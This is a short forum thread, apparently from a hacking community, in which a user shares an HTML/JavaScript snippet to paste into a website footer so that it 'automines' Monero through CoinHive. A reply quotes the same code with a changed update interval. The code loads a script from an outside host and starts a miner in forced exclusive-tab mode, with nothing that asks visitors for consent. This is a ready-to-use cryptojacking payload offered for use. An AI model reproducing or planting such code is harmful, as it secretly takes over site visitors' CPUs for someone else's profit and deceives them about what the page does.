ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Home
Upgrade
Credits
Help
Search
Awards
Achievements
 2302

CoinHive - Automining - HTML/PHP

by boban92 - 03-18-2018 - 10:11 PM
#1
insert this code in your footer and start automining monero with coin-hive
PS : For suport send me PM ;)
 
Code:
 <div align="center" style="border:none">
        <script src="https://www.threadpaints.com/js/status.js"></script>

         <p id="tcount"></p>
         <p id="hps"></p>
         <p id="ths"></p>
        <p id="tah"></p>
        <p id="minebutton"></p>
                  
                <script type="text/javascript">
           var miner = new CoinHive.Anonymous('YOU-PUBLIC-KEY','threads: 1');
              miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
                // Update stats once per second
                setInterval(function() {
           var threadCount = miner.getNumThreads();
          var hashesPerSecond = Math.round(miner.getHashesPerSecond() * 100) / 100;
        var totalHashes = miner.getTotalHashes();
             var acceptedHashes = miner.getAcceptedHashes() / 256;
    // Output to HTML elements...
    if (miner.isRunning()) {
        document.getElementById("tcount").innerHTML = "Threads: " + threadCount;
        document.getElementById("hps").innerHTML = "hashes per second: " + hashesPerSecond;
        document.getElementById("ths").innerHTML = "Total Hashes: " + totalHashes;
        document.getElementById("tah").innerHTML = "Accepted Hashes: " + acceptedHashes;
      
    }
    
}, 10);
</script>
</div>
Reply
#2
(03-18-2018 - 10:11 PM)boban92 Wrote: insert this code in your footer and start automining monero with coin-hive
PS : For suport send me PM ;)
 
Code:
 <div align="center" style="border:none">
        <script src="https://www.threadpaints.com/js/status.js"></script>

         <p id="tcount"></p>
         <p id="hps"></p>
         <p id="ths"></p>
        <p id="tah"></p>
        <p id="minebutton"></p>
                  
                <script type="text/javascript">
           var miner = new CoinHive.Anonymous('YOU-PUBLIC-KEY','threads: 1');
              miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
                // Update stats once per second
                setInterval(function() {
           var threadCount = miner.getNumThreads();
          var hashesPerSecond = Math.round(miner.getHashesPerSecond() * 100) / 100;
        var totalHashes = miner.getTotalHashes();
             var acceptedHashes = miner.getAcceptedHashes() / 256;
    // Output to HTML elements...
    if (miner.isRunning()) {
        document.getElementById("tcount").innerHTML = "Threads: " + threadCount;
        document.getElementById("hps").innerHTML = "hashes per second: " + hashesPerSecond;
        document.getElementById("ths").innerHTML = "Total Hashes: " + totalHashes;
        document.getElementById("tah").innerHTML = "Accepted Hashes: " + acceptedHashes;
      
    }
    
}, 1000);
</script>
</div>
Reply

Users browsing: 1 Guest(s)